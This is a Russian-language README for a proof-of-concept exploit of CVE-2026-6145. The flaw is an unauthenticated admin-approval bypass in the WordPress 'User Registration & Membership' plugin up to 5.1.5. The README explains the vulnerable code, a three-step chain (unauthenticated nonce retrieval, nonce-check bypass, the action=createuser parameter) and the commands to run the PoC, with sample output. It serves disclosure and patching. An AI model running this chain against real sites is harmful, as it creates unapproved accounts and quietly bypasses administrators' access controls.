
User Registration & Membership <= 5.1.5 - Неаутентифицированное отсутствие авторизации для обхода утверждения администратором через параметр 'action'
Эксплойт proof-of-concept для CVE-2026-6145, уязвимости отсутствия авторизации в плагине User Registration & Membership для WordPress (≤ 5.1.5), которая позволяет неаутентифицированным атакующим обойти требование подтверждения администратором при создании новых учётных записей.
| CVE ID | CVE-2026-6145 |
| CNA | Wordfence |
| Уязвимость | Отсутствие авторизации — обход подтверждения администратором |
| CWE | CWE-862 (Отсутствие авторизации) |
| CVSS 3.1 | 5.3 Средний (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Затронуто | User Registration & Membership для WordPress — все версии ≤ 5.1.5 |
| Исправлено | Версия > 5.1.5 |
| Исследователь | Anthony Cihan — руководитель отдела безопасности атак, Obviam |
| Раскрытие | Программа ответственного раскрытия Wordfence |
| Опубликовано | 2026-05-14 |
Метод is_admin_creation_process() в includes/class-ur-user-approval.php является единственным шлюзом, определяющим, следует ли рассматривать новую регистрацию как создание, инициированное администратором. Когда этот метод возвращает true, происходят два побочных эффекта:
set_user_status() устанавливает статус нового пользователя в APPROVED, пропуская очередь ожидания подтверждения.send_request_notification_to_admin() подавляет уведомление администратора о новой регистрации.Сам метод в версии 5.1.5 не содержит проверки аутентификации, авторизации или nonce:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Поскольку $_REQUEST объединяет $_GET, $_POST и $_COOKIE, неаутентифицированный атакующий может удовлетворить эту проверку, добавив ?action=createuser в URL отправки регистрационной формы. Затем плагин автоматически подтверждает учётную запись и никогда не уведомляет администратора.
Хотя CVE-2026-6145 напрямую касается отсутствия авторизации в is_admin_creation_process(), полная неаутентифицированная эксплуатация в отношении защищённой регистрационной формы требует объединения с двумя дополнительными проблемами в той же версии плагина, обе из которых обрабатываются включённым PoC автоматически:
| Шаг | Проблема | Цель |
|---|---|---|
| 1 | Неаутентифицированная генерация nonce через конечную точку user_registration_get_recent_nonce wp_ajax_nopriv (проверка только Referer) | Получить валидный ur_frontend_form_nonce без аутентифицированной сессии |
| 2 | Обход проверки AJAX nonce, когда ur_fallback_submit не пуст в обработчике формы | Отправить регистрацию через запасной путь без валидного реферера AJAX |
| 3 | CVE-2026-6145 — action=createuser в $_REQUEST переключает is_admin_creation_process() в true | Автоматически подтвердить новую учётную запись и подавить уведомление администратора |
Результат: полностью подтверждённая учётная запись, созданная без взаимодействия или уведомления администратора, на сайте, который явно требует подтверждения администратора для новых регистраций.
requestsdata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Пример:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
После запуска PoC войдите в wp-admin и проверьте Пользователи → Все пользователи:
На сайтах WordPress, использующих подтверждение администратором в качестве основного барьера против нежелательного создания учётных записей — что типично для сайтов членства, закрытых сообществ, внутренних порталов, B2B-платформ и любых сайтов, требующих проверки личности перед доступом, — эта уязвимость незаметно нейтрализует этот контроль. Конкретные последствия включают:
Оценка CVSS отражает только воздействие на целостность (нет прямой потери конфиденциальности данных или нарушения обслуживания), но реальное воздействие масштабируется в зависимости от того, насколько сильно сайт полагается на рабочий процесс подтверждения как на границу безопасности.
| Версия | Статус |
|---|---|
| ≤ 5.1.5 | Уязвима |
| > 5.1.5 | Исправлена |